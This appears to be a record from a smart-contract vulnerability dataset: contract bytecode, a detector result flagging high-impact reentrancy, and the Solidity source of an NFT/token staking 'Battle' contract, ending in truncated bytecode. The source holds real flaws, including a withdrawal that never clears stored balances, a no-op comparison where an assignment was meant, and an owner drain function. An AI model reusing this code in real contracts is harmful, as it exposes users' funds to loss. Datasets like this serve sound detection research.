015610f3a57506001600160a01b03821660009081526010602052604090205460ff16155b610f925760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062d565b6015546001600160a01b038381169116146110175760175481610fb484610800565b610fbe9190611cac565b106110175760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062d565b600061102230610800565b60185460165491925082101590821061103b5760165491505b8080156110525750601554600160a81b900460ff16155b801561106c57506015546001600160a01b03868116911614155b80156110815750601554600160b01b900460ff165b80156110a657506001600160a01b03851660009081526005602052604090205460ff16155b80156110cb57506001600160a01b03841660009081526005602052604090205460ff16155b156110eb576110d9826112ed565b4780156110e9576110e94761122f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113057506001600160a01b03831660009081526005602052604090205460ff165b8061116257506015546001600160a01b0385811691161480159061116257506015546001600160a01b03848116911614155b1561116f575060006111e9565b6015546001600160a01b03858116911614801561119a57506014546001600160a01b03848116911614155b156111ac57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d757506014546001600160a01b03858116911614155b156111e957600a54600c55600b54600d555b610a7684848484611467565b600081848411156112195760405162461bcd60e51b815260040161062d9190611a20565b5060006112268486611cc4565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069e573d6000803e3d6000fd5b60006006548211156112d05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062d565b60006112da611495565b90506112e683826114b8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133557611335611c67565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b29190611cdb565b816001815181106113c5576113c5611c67565b6001600160a01b0392831660209182029290920101526014546113eb9130911684610b95565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611424908590600090869030904290600401611cf8565b600060405180830381600087803b15801561143e57600080fd5b505af1158015611452573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611474576114746114fa565b61147f848484611528565b80610a7657610a76600e54600c55600f54600d55565b60008060006114a261161f565b90925090506114b182826114b8565b9250505090565b60006112e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165f565b600c5415801561150a5750600d54155b1561151157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153a8761168d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156c90876116ea565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159b908661172c565b6001600160a01b0389166000908152600260205260409020556115bd8161178b565b6115c784836117d5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160c91815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061163a82826114b8565b82101561165657505060065492678ac7230489e8000092509050565b90939092509050565b600081836116805760405162461bcd60e51b815260040161062d9190611a20565b5060006112268486611d69565b60008060008060008060008060006116aa8a600c54600d546117f9565b92509250925060006116ba611495565b905060008060006116cd8e87878761184e565b919e509c509a509598509396509194505050505091939550919395565b60006112e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f5565b6000806117398385611cac565b9050838110156112e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062d565b6000611795611495565b905060006117a3838361189e565b306000908152600260205260409020549091506117c0908261172c565b30600090815260026020526040902055505050565b6006546117e290836116ea565b6006556007546117f2908261172c565b6007555050565b6000808080611813606461180d898961189e565b906114b8565b90506000611826606461180d8a8961189e565b9050600061183e826118388b866116ea565b906116ea565b9992985090965090945050505050565b600080808061185d888661189e565b9050600061186b888761189e565b90506000611879888861189e565b9050600061188b8261183886866116ea565b939b939a50919850919650505050505050565b6000826000036118b0575060006106b3565b60006118bc8385611d8b565b9050826118c98583611d69565b146112e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fd57600080fd5b803561195681611936565b919050565b6000602080838503121561196e57600080fd5b823567ffffffffffffffff8082111561198657600080fd5b818501915085601f83011261199a57600080fd5b8135818111156119ac576119ac611920565b8060051b604051601f19603f830116810181811085821117156119d1576119d1611920565b6040529182528482019250838101850191888311156119ef57600080fd5b938501935b82851015611a1457611a058561194b565b845293850193928501926119f4565b98975050505050505050565b600060208083528351808285015260005b81811015611a4d57858101830151858201604001528201611a31565b81811115611a5f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8857600080fd5b8235611a9381611936565b946020939093013593505050565b600080600060608486031215611ab657600080fd5b8335611ac181611936565b92506020840135611ad181611936565b929592945050506040919091013590565b600060208284031215611af457600080fd5b81356112e681611936565b8035801515811461195657600080fd5b600060208284031215611b2157600080fd5b6112e682611aff565b600060208284031215611b3c57600080fd5b5035919050565b60008060008060808587031215611b5957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8a57600080fd5b833567ffffffffffffffff80821115611ba257600080fd5b818601915086601f830112611bb657600080fd5b813581811115611bc557600080fd5b8760208260051b8501011115611bda57600080fd5b602092830195509350611bf09186019050611aff565b90509250925092565b60008060408385031215611c0c57600080fd5b8235611c1781611936565b91506020830135611c2781611936565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca557611ca5611c7d565b5060010190565b60008219821115611cbf57611cbf611c7d565b500190565b600082821015611cd657611cd6611c7d565b500390565b600060208284031215611ced57600080fd5b81516112e681611936565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d485784516001600160a01b031683529383019391830191600101611d23565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da557611da5611c7d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200ae9a69acf8f0a50b5b0c64aca73161b68db9b29914b0b86fa2b3782836dfefb64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,025
0x8d092C2fF0b0D97C87580955350A04Be4DF8E5c4
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IERC1155 { function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; } interface INodeRunnersNFT { function getFighter(uint256 tokenId) external view returns (uint256, uint256, uint256, uint256, uint256, uint256); function mint(address to, uint256 id, uint256 amount) external; } contract Battle { IERC20 public NDR; IERC1155 public NFT; // struct NftToken { // bool hasValue; // mapping(address => uint) balances; // } struct NftToken { uint tokenId; uint balances; } mapping(address => uint) public teamIdPerUser; mapping(uint => uint) public totalNDRAmountPerTeam; mapping(uint => uint) public totalNFTStrengthPerTeam; mapping(uint => uint) public totalHashPerTeam; mapping(address => uint) public totalHashPerUser; mapping(uint => uint) public dayHashPerTeam; mapping(address => uint) public dayHashPerUser; // mapping(address => uint) public balanceNFTPerUser; mapping(address => uint) public totalNFTStrengthPerUser; mapping(address => uint) public totalNDRAmountPerUser; mapping(address => uint) public pureNFTStrengthPerUser; mapping(address => uint) private percentMultiplierApplied; mapping(address => uint) public percentMultiplierPerUser; mapping(address => uint) public lastCheckTimePerUser; mapping(uint => uint) public lastCheckTimePerTeam; // mapping(uint => NftToken) public nftTokenMap; mapping(address => NftToken[]) public nftTokenMap; mapping(address => uint[]) public nftTokens; mapping(uint => mapping(uint => bool)) public acceptableIdTeam; mapping(uint => uint) public playersCounter; // default: 7 days uint private battleDuration = 7 days; uint public rewardDuration = 24 hours; uint public startTime; uint private _nftFee; address public owner; // bool public started; event NDRStaked(address indexed user, uint amount); event NFTStaked(address indexed user, uint tokenId, uint amount); event BoughtNFT(address indexed user, uint tokenId); event WithdrawnNFT(address indexed user, uint tokenId, uint amount); event WithdrawnNDR(address indexed user, uint amount); constructor ( address _NDR, address _NFT ) { NDR = IERC20(_NDR); NFT = IERC1155(_NFT); owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "!owner"); _; } modifier updateHash() { uint teamId = teamIdPerUser[msg.sender]; uint rewardRateTeam = dayHashPerTeam[teamId] / rewardDuration; uint rewardRateUser = dayHashPerUser[msg.sender] / rewardDuration; totalHashPerTeam[teamId] += rewardRateTeam * (block.timestamp - lastCheckTimePerTeam[teamId]); totalHashPerUser[msg.sender] += rewardRateUser * (block.timestamp - lastCheckTimePerUser[msg.sender]); lastCheckTimePerTeam[teamId] = block.timestamp; lastCheckTimePerUser[msg.sender] = block.timestamp; _; } function setOwner(address _owner) public onlyOwner { owner = _owner; } function setSupportedIds(uint[] calldata tokenIds, uint teamId) public onlyOwner { require(teamId == 1 || teamId == 2, "teamId should be 1 or 2"); for (uint i = 0; i < tokenIds.length; i++) { uint tokenId = tokenIds[i]; acceptableIdTeam[teamId][tokenId] = true; } } function setBattleDuration(uint _duration) public onlyOwner { require(startTime == 0, "Can not change during the battle"); require(_duration > 0, "Invalid duration value"); battleDuration = _duration; } function getBattleDuration() public view returns (uint) { return battleDuration; } function changeAddresses(address _NDR, address _NFT) public onlyOwner { NDR = IERC20(_NDR); NFT = IERC1155(_NFT); } function getTeamNDRAmount(uint teamId) public view returns (uint) { require(teamId == 1 || teamId == 2, "teamId should be 1 or 2"); return totalNDRAmountPerTeam[teamId]; } function getTeamTotalNFTStrength(uint teamId) public view returns (uint) { require(teamId == 1 || teamId == 2, "teamId should be 1 or 2"); return totalNFTStrengthPerTeam[teamId]; } function getUserTotalNFTStrength(address user) public view returns (uint) { return totalNFTStrengthPerUser[user]; } function getTeamDayHash(uint teamId) public view returns (uint) { require(teamId == 1 || teamId == 2, "teamId should be 1 or 2"); return dayHashPerTeam[teamId]; } function getUserDayHash(address user) public view returns (uint) { return dayHashPerUser[user]; } function selectTeam(uint teamId) public { require(teamId == 1 || teamId == 2, "teamId should be 1 or 2"); require(teamIdPerUser[msg.sender] == 0, "Can not change team."); teamIdPerUser[msg.sender] = teamId; playersCounter[teamId] += 1; } function startBattle() public onlyOwner { require(startTime == 0, "already started!"); startTime = block.timestamp; } function battleFinishDate() public view returns (uint) { require(block.timestamp >= startTime, "The battle has not been started."); require(block.timestamp < startTime + battleDuration, "The battle has already been ended."); return startTime + battleDuration; } function getTeamHashResult(uint teamId) public view returns (uint) { require(teamId == 1 || teamId == 2, "teamId should be 1 or 2"); require(block.timestamp >= startTime, "The battle has not been started."); uint rewardRateTeam = dayHashPerTeam[teamId] / rewardDuration; uint lastTotalHash = totalHashPerTeam[teamId]; if (block.timestamp >= startTime + battleDuration) { lastTotalHash += rewardRateTeam * (startTime + battleDuration - lastCheckTimePerTeam[teamId]); } else { lastTotalHash += rewardRateTeam * (block.timestamp - lastCheckTimePerTeam[teamId]); } return lastTotalHash; } function getUserHashResult(address user) public view returns (uint) { // require(teamId == 1 || teamId == 2, "teamId should be 1 or 2"); require(block.timestamp >= startTime, "The battle has not been started."); uint rewardRateUser = dayHashPerUser[user] / rewardDuration; uint lastTotalHash = totalHashPerUser[user]; if (block.timestamp >= startTime + battleDuration) { lastTotalHash += rewardRateUser * (startTime + battleDuration - lastCheckTimePerUser[user]); } else { lastTotalHash += rewardRateUser * (block.timestamp - lastCheckTimePerUser[user]); } return lastTotalHash; } function stakeNFT(uint[] calldata tokenIds, uint[] calldata amounts) public payable updateHash { require(startTime < block.timestamp, "The battle has not been started yet."); require(block.timestamp < startTime + battleDuration, "The battle has already been ended."); require(tokenIds.length == amounts.length, "TokenIds and amounts length should be the same"); require(teamIdPerUser[msg.sender] > 0, "Please select team before staking"); for (uint i = 0; i < tokenIds.length; i++) { // stakeInternal stakeInternal(tokenIds[i], amounts[i]); } } function stakeInternal(uint256 tokenId, uint256 amount) internal { uint teamId = teamIdPerUser[msg.sender]; require(teamId == 1 || teamId == 2, "teamId should be 1 or 2"); require(acceptableIdTeam[teamId][tokenId] == true, "Not acceptable tokenId for this team."); (uint256 strength,,,,,uint256 series) = INodeRunnersNFT(address(NFT)).getFighter(tokenId); strength = strength * amount * 100; if (series == 3) { require(amount == 1, "only one nft with series 3 badge"); require(percentMultiplierApplied[msg.sender] == 0 || percentMultiplierApplied[msg.sender] == 2, "nft with series 3 already applied"); if (percentMultiplierApplied[msg.sender] == 0) { percentMultiplierApplied[msg.sender] = 1; } else { percentMultiplierApplied[msg.sender] == 3; } } if (series == 4) { require(amount == 1, "only one nft with series 4 badge"); require(percentMultiplierApplied[msg.sender] == 0 || percentMultiplierApplied[msg.sender] == 1, "nft with series 4 already applied"); if (percentMultiplierApplied[msg.sender] == 0) { percentMultiplierApplied[msg.sender] = 2; } else { percentMultiplierApplied[msg.sender] = 3; } } totalNFTStrengthPerTeam[teamId] = totalNFTStrengthPerTeam[teamId] - totalNFTStrengthPerUser[msg.sender]; pureNFTStrengthPerUser[msg.sender] = pureNFTStrengthPerUser[msg.sender] + strength; if (percentMultiplierApplied[msg.sender] == 1) { totalNFTStrengthPerUser[msg.sender] = pureNFTStrengthPerUser[msg.sender] * 110 / 100; } else if (percentMultiplierApplied[msg.sender] == 2) { totalNFTStrengthPerUser[msg.sender] = pureNFTStrengthPerUser[msg.sender] * 105 / 100; } else if (percentMultiplierApplied[msg.sender] == 3) { totalNFTStrengthPerUser[msg.sender] = pureNFTStrengthPerUser[msg.sender] * 11 * 105 / 1000; } else { totalNFTStrengthPerUser[msg.sender] = pureNFTStrengthPerUser[msg.sender]; } // balanceNFTPerUser[msg.sender] += amount; totalNFTStrengthPerTeam[teamId] += totalNFTStrengthPerUser[msg.sender]; nftTokenMap[msg.sender].push(NftToken(tokenId, amount)); NFT.safeTransferFrom(msg.sender, address(this), tokenId, amount, "0x0"); updateDayHash(msg.sender, teamId); emit NFTStaked(msg.sender, tokenId, amount); } function stakeNDR(uint amount) public payable updateHash { require(startTime < block.timestamp, "The battle has not been started yet."); require(block.timestamp < startTime + battleDuration, "The battle has already been ended."); require(amount > 0, "Cannot stake 0"); require(teamIdPerUser[msg.sender] > 0, "Please select team before staking"); uint teamId = teamIdPerUser[msg.sender]; require(teamId == 1 || teamId == 2, "teamId should be 1 or 2"); uint teamNDRAmount = totalNDRAmountPerTeam[teamId]; uint userNDRAmount = totalNDRAmountPerUser[msg.sender]; // TODO get teamHash NDR.transferFrom(msg.sender, address(this), amount); teamNDRAmount += amount; userNDRAmount += amount; totalNDRAmountPerTeam[teamId] = teamNDRAmount; totalNDRAmountPerUser[msg.sender] = userNDRAmount; updateDayHash(msg.sender, teamId); emit NDRStaked(msg.sender, amount); } function updateDayHash(address user, uint teamId) internal { require(teamId == 1 || teamId == 2, "teamId should be 1 or 2"); uint teamStrength = totalNFTStrengthPerTeam[teamId]; uint userStrength = totalNFTStrengthPerUser[user]; uint teamNDRAmount = totalNDRAmountPerTeam[teamId] / (1e18); // uint userNDRAmount = totalNDRAmountPerUser[user] / (1e18); if (teamStrength != 0) { if (teamNDRAmount * 10000 > teamStrength) { dayHashPerTeam[teamId] = teamStrength; dayHashPerUser[user] = userStrength; } else { dayHashPerTeam[teamId] = totalNDRAmountPerTeam[teamId]; dayHashPerUser[user] = totalNDRAmountPerUser[user]; } } } function setNftFee() external payable onlyOwner { _nftFee = msg.value; } function getNftFee() public view returns(uint) { require(_nftFee > 0, "Nft fee has not set yet."); return _nftFee; } function getMintingFee(uint rarity, uint teamId) internal view returns (uint) { require(teamId == 1 || teamId == 2, "teamId should be 1 or 2"); uint teamStrength = totalNFTStrengthPerTeam[teamId]; uint teamNDRAmount = totalNDRAmountPerTeam[teamId] / (1e18); uint fee = rarity * teamNDRAmount * 10000 / teamStrength; return fee; } function buyNewNFT(uint tokenId) public updateHash payable { (,,,uint256 rarity,uint256 hashPrice,) = INodeRunnersNFT(address(NFT)).getFighter(tokenId); uint teamId = teamIdPerUser[msg.sender]; require(teamId == 1 || teamId == 2, "teamId should be 1 or 2"); require(hashPrice > 0, "can't buy in hash"); uint fee = getMintingFee(rarity, teamId); require(msg.value >= fee, "wrong value"); uint userHash = totalHashPerUser[msg.sender]; uint teamHash = totalHashPerTeam[teamId]; require(userHash >= hashPrice, "not enough Hash"); userHash = userHash - hashPrice; teamHash = teamHash - hashPrice; totalHashPerUser[msg.sender] = userHash; totalHashPerTeam[teamId] = teamHash; INodeRunnersNFT(address(NFT)).mint(msg.sender, tokenId, 1); emit BoughtNFT(msg.sender, tokenId); } function withdrawNFT() public { require(block.timestamp > startTime + battleDuration, "The battle has not been ended"); NftToken[] memory tokens = nftTokenMap[msg.sender]; for (uint i = 0; i< tokens.length; i++) { uint id = tokens[i].tokenId; uint amount = tokens[i].balances; tokens[i].balances -= amount; NFT.safeTransferFrom(address(this), msg.sender, id, amount, "0x0"); emit WithdrawnNFT(msg.sender, id, amount); } totalNFTStrengthPerUser[msg.sender] = 0; } function withdrawNDR() public { require(block.timestamp > startTime + battleDuration, "The battle has not been ended"); uint ndrAmount = totalNDRAmountPerUser[msg.sender]; totalNDRAmountPerUser[msg.sender] -= ndrAmount; NDR.transfer(msg.sender, ndrAmount); emit WithdrawnNDR(msg.sender, ndrAmount); } function onERC1155Received(address, address, uint256, uint256, bytes memory) public pure virtual returns (bytes4) { return this.onERC1155Received.selector; } function seize(address to) external onlyOwner { uint amount = address(this).balance; payable(to).transfer(amount); } }
0x60806040526004361061027d5760003560e01c806377f8324e1161014f578063bb2baef2116100c1578063f2ca36ef1161007a578063f2ca36ef14610722578063f520e7e514610742578063f591971b14610757578063f67b7d4414610777578063fb3ee57114610797578063fb8786e7146107b75761027d565b8063bb2baef214610678578063c850c69e1461068d578063d7e90777146106ad578063e3ac0c79146106cd578063e98009ce146106e0578063f23a6e61146106f55761027d565b80638da5cb5b116101135780638da5cb5b146105ce5780639de8a29f146105e3578063a4697c4b146105f8578063aaff86ef14610618578063aec5129414610638578063b8f40ec9146106585761027d565b806377f8324e1461053757806378e97925146105575780637c0b8de21461056c578063861deb351461058e5780638a2cf505146105ae5761027d565b8063421233e0116101f357806350e9e77f116101ac57806350e9e77f1461049a578063597a327e146104af5780635c827916146104cf5780635ceb7ca0146104e25780635e38c9541461050257806362c84774146105175761027d565b8063421233e0146103d9578063428c570d1461040757806343f1d4681461042757806344162cc514610447578063449ab7961461046757806345f86dcc1461047a5761027d565b80632514acc3116102455780632514acc3146103175780632ec6d98c1461033757806331c6a0ea146103575780633a20e595146103775780633c9a9c101461038c57806340353003146103ac5761027d565b8063026e78cd1461028257806305ca7d051461028c578063081aa63a146102c257806313af4035146102e2578063240a2c9714610302575b600080fd5b61028a6107d7565b005b34801561029857600080fd5b506102ac6102a73660046122f9565b610810565b6040516102b99190612b16565b60405180910390f35b3480156102ce57600080fd5b506102ac6102dd3660046122f9565b610822565b3480156102ee57600080fd5b5061028a6102fd3660046122f9565b610932565b34801561030e57600080fd5b5061028a61097e565b34801561032357600080fd5b5061028a61033236600461231a565b6109ce565b34801561034357600080fd5b506102ac6103523660046122f9565b610a26565b34801561036357600080fd5b506102ac610372366004612520565b610a38565b34801561038357600080fd5b506102ac610a78565b34801561039857600080fd5b506102ac6103a7366004612520565b610aa2565b3480156103b857600080fd5b506103cc6103c7366004612538565b610ab4565b6040516102b99190612658565b3480156103e557600080fd5b506103f96103f4366004612424565b610ad4565b6040516102b9929190612b1f565b34801561041357600080fd5b506102ac610422366004612424565b610b10565b34801561043357600080fd5b506102ac610442366004612520565b610b41565b34801561045357600080fd5b5061028a610462366004612520565b610b53565b61028a61047536600461244d565b610bc2565b34801561048657600080fd5b506102ac610495366004612520565b610ddc565b3480156104a657600080fd5b5061028a610eaa565b3480156104bb57600080fd5b506102ac6104ca3660046122f9565b610fc5565b61028a6104dd366004612520565b610fd7565b3480156104ee57600080fd5b506102ac6104fd3660046122f9565b6112e6565b34801561050e57600080fd5b5061028a6112f8565b34801561052357600080fd5b506102ac6105323660046122f9565b61151b565b34801561054357600080fd5b5061028a6105523660046124b6565b61152d565b34801561056357600080fd5b506102ac6115f8565b34801561057857600080fd5b506105816115fe565b6040516102b991906125a2565b34801561059a57600080fd5b506102ac6105a9366004612520565b61160d565b3480156105ba57600080fd5b506102ac6105c9366004612520565b61161f565b3480156105da57600080fd5b50610581611631565b3480156105ef57600080fd5b506102ac611640565b34801561060457600080fd5b506102ac610613366004612520565b611646565b34801561062457600080fd5b506102ac610633366004612520565b611686565b34801561064457600080fd5b506102ac6106533660046122f9565b611698565b34801561066457600080fd5b506102ac6106733660046122f9565b6116aa565b34801561068457600080fd5b506102ac6116c5565b34801561069957600080fd5b506102ac6106a83660046122f9565b61172c565b3480156106b957600080fd5b506102ac6106c8366004612520565b611747565b61028a6106db366004612520565b611787565b3480156106ec57600080fd5b50610581611acd565b34801561070157600080fd5b5061071561071036600461234c565b611adc565b6040516102b99190612663565b34801561072e57600080fd5b5061028a61073d366004612520565b611aed565b34801561074e57600080fd5b506102ac611b7d565b34801561076357600080fd5b506102ac6107723660046122f9565b611b83565b34801561078357600080fd5b506102ac610792366004612520565b611b95565b3480156107a357600080fd5b5061028a6107b23660046122f9565b611ba7565b3480156107c357600080fd5b506102ac6107d23660046122f9565b611c0e565b6018546001600160a01b0316331461080a5760405162461bcd60e51b815260040161080190612af6565b60405180910390fd5b34601755565b60066020526000908152604090205481565b60006016544210156108465760405162461bcd60e51b8152600401610801906126e4565b6015546001600160a01b038316600090815260086020526040812054909161086d91612b45565b6001600160a01b038416600090815260066020526040902054601454601654929350909161089b9190612b2d565b42106108ef576001600160a01b0384166000908152600e60205260409020546014546016546108ca9190612b2d565b6108d49190612b84565b6108de9083612b65565b6108e89082612b2d565b9050610929565b6001600160a01b0384166000908152600e60205260409020546109129042612b84565b61091c9083612b65565b6109269082612b2d565b90505b9150505b919050565b6018546001600160a01b0316331461095c5760405162461bcd60e51b815260040161080190612af6565b601880546001600160a01b0319166001600160a01b0392909216919091179055565b6018546001600160a01b031633146109a85760405162461bcd60e51b815260040161080190612af6565b601654156109c85760405162461bcd60e51b8152600401610801906127b9565b42601655565b6018546001600160a01b031633146109f85760405162461bcd60e51b815260040161080190612af6565b600080546001600160a01b039384166001600160a01b03199182161790915560018054929093169116179055565b60086020526000908152604090205481565b60008160011480610a495750816002145b610a655760405162461bcd60e51b815260040161080190612741565b5060009081526004602052604090205490565b60008060175411610a9b5760405162461bcd60e51b8152600401610801906126ad565b5060175490565b60136020526000908152604090205481565b601260209081526000928352604080842090915290825290205460ff1681565b60106020528160005260406000208181548110610af057600080fd5b600091825260209091206002909102018054600190910154909250905082565b60116020528160005260406000208181548110610b2c57600080fd5b90600052602060002001600091509150505481565b60036020526000908152604090205481565b6018546001600160a01b03163314610b7d5760405162461bcd60e51b815260040161080190612af6565b60165415610b9d5760405162461bcd60e51b815260040161080190612a06565b60008111610bbd5760405162461bcd60e51b815260040161080190612824565b601455565b33600090815260026020908152604080832054601554818552600790935290832054909291610bf091612b45565b6015543360009081526008602052604081205492935091610c119190612b45565b6000848152600f6020526040902054909150610c2d9042612b84565b610c379083612b65565b60008481526005602052604081208054909190610c55908490612b2d565b9091555050336000908152600e6020526040902054610c749042612b84565b610c7e9082612b65565b3360009081526006602052604081208054909190610c9d908490612b2d565b90915550506000838152600f602090815260408083204290819055338452600e90925290912081905560165410610ce65760405162461bcd60e51b815260040161080190612a3b565b601454601654610cf69190612b2d565b4210610d145760405162461bcd60e51b8152600401610801906128de565b858414610d335760405162461bcd60e51b815260040161080190612aa8565b33600090815260026020526040902054610d5f5760405162461bcd60e51b815260040161080190612778565b60005b86811015610dd257610dc0888883818110610d8d57634e487b7160e01b600052603260045260246000fd5b90506020020135878784818110610db457634e487b7160e01b600052603260045260246000fd5b90506020020135611c20565b80610dca81612b9b565b915050610d62565b5050505050505050565b60008160011480610ded5750816002145b610e095760405162461bcd60e51b815260040161080190612741565b601654421015610e2b5760405162461bcd60e51b8152600401610801906126e4565b6015546000838152600760205260408120549091610e4891612b45565b6000848152600560205260409020546014546016549293509091610e6c9190612b2d565b4210610e91576000848152600f60205260409020546014546016546108ca9190612b2d565b6000848152600f60205260409020546109129042612b84565b601454601654610eba9190612b2d565b4211610ed85760405162461bcd60e51b815260040161080190612854565b336000908152600a60205260408120805491829190610ef78380612b84565b909155505060005460405163a9059cbb60e01b81526001600160a01b039091169063a9059cbb90610f2e903390859060040161261e565b602060405180830381600087803b158015610f4857600080fd5b505af1158015610f5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f809190612500565b50336001600160a01b03167f20f57c95bdcc19f2dd0302d2fc4cf7cc4d4ad6fa9cae7091f7107f28b7af808f82604051610fba9190612b16565b60405180910390a250565b600d6020526000908152604090205481565b3360009081526002602090815260408083205460155481855260079093529083205490929161100591612b45565b60155433600090815260086020526040812054929350916110269190612b45565b6000848152600f60205260409020549091506110429042612b84565b61104c9083612b65565b6000848152600560205260408120805490919061106a908490612b2d565b9091555050336000908152600e60205260409020546110899042612b84565b6110939082612b65565b33600090815260066020526040812080549091906110b2908490612b2d565b90915550506000838152600f602090815260408083204290819055338452600e909252909120819055601654106110fb5760405162461bcd60e51b815260040161080190612a3b565b60145460165461110b9190612b2d565b42106111295760405162461bcd60e51b8152600401610801906128de565b600084116111495760405162461bcd60e51b815260040161080190612719565b336000908152600260205260409020546111755760405162461bcd60e51b815260040161080190612778565b3360009081526002602052604090205460018114806111945750806002145b6111b05760405162461bcd60e51b815260040161080190612741565b60008181526003602090815260408083205433808552600a90935281842054935491516323b872dd60e01b81529093926001600160a01b03909216916323b872dd91611203919030908c906004016125b6565b602060405180830381600087803b15801561121d57600080fd5b505af1158015611231573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112559190612500565b506112608783612b2d565b915061126c8782612b2d565b600084815260036020908152604080832086905533808452600a90925290912082905590915061129c9084612111565b336001600160a01b03167f8a612287a4641ea8feed3b265a7390c9e33fb4fee32a69e2cd6a3f8feaffc212886040516112d59190612b16565b60405180910390a250505050505050565b60026020526000908152604090205481565b6014546016546113089190612b2d565b42116113265760405162461bcd60e51b815260040161080190612854565b33600090815260106020908152604080832080548251818502810185019093528083529192909190849084015b8282101561139957838290600052602060002090600202016040518060400160405290816000820154815260200160018201548152505081526020019060010190611353565b50505050905060005b81518110156115075760008282815181106113cd57634e487b7160e01b600052603260045260246000fd5b602002602001015160000151905060008383815181106113fd57634e487b7160e01b600052603260045260246000fd5b60200260200101516020015190508084848151811061142c57634e487b7160e01b600052603260045260246000fd5b60200260200101516020018181516114449190612b84565b905250600154604051637921219560e11b81526001600160a01b039091169063f242432a9061147d9030903390879087906004016125da565b600060405180830381600087803b15801561149757600080fd5b505af11580156114ab573d6000803e3d6000fd5b50505050336001600160a01b03167fde973ea8ab7b9ee44d72d276c97edaa47b73681171701501f270d646aa8811e183836040516114ea929190612b1f565b60405180910390a2505080806114ff90612b9b565b9150506113a2565b505033600090815260096020526040812055565b600e6020526000908152604090205481565b6018546001600160a01b031633146115575760405162461bcd60e51b815260040161080190612af6565b80600114806115665750806002145b6115825760405162461bcd60e51b815260040161080190612741565b60005b828110156115f25760008484838181106115af57634e487b7160e01b600052603260045260246000fd5b6000868152601260209081526040808320938202959095013582529190915291909120805460ff19166001179055508190506115ea81612b9b565b915050611585565b50505050565b60165481565b6001546001600160a01b031681565b60046020526000908152604090205481565b60076020526000908152604090205481565b6018546001600160a01b031681565b60145490565b600081600114806116575750816002145b6116735760405162461bcd60e51b815260040161080190612741565b5060009081526007602052604090205490565b60056020526000908152604090205481565b600a6020526000908152604090205481565b6001600160a01b031660009081526009602052604090205490565b60006016544210156116e95760405162461bcd60e51b8152600401610801906126e4565b6014546016546116f99190612b2d565b42106117175760405162461bcd60e51b8152600401610801906128de565b6014546016546117279190612b2d565b905090565b6001600160a01b031660009081526008602052604090205490565b600081600114806117585750816002145b6117745760405162461bcd60e51b815260040161080190612741565b5060009081526003602052604090205490565b336000908152600260209081526040808320546015548185526007909352908320549092916117b591612b45565b60155433600090815260086020526040812054929350916117d69190612b45565b6000848152600f60205260409020549091506117f29042612b84565b6117fc9083612b65565b6000848152600560205260408120805490919061181a908490612b2d565b9091555050336000908152600e60205260409020546118399042612b84565b6118439082612b65565b3360009081526006602052604081208054909190611862908490612b2d565b90915550506000838152600f602090815260408083204290819055338452600e909252808320919091556001549051632227e87760e21b815282916001600160a01b03169063889fa1dc906118bb908990600401612b16565b60c06040518083038186803b1580156118d357600080fd5b505afa1580156118e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061190b9190612559565b50336000908152600260205260409020549196509450925050600182149050806119355750806002145b6119515760405162461bcd60e51b815260040161080190612741565b600082116119715760405162461bcd60e51b815260040161080190612961565b600061197d848361220d565b90508034101561199f5760405162461bcd60e51b81526004016108019061288b565b33600090815260066020908152604080832054858452600590925290912054848210156119de5760405162461bcd60e51b815260040161080190612a7f565b6119e88583612b8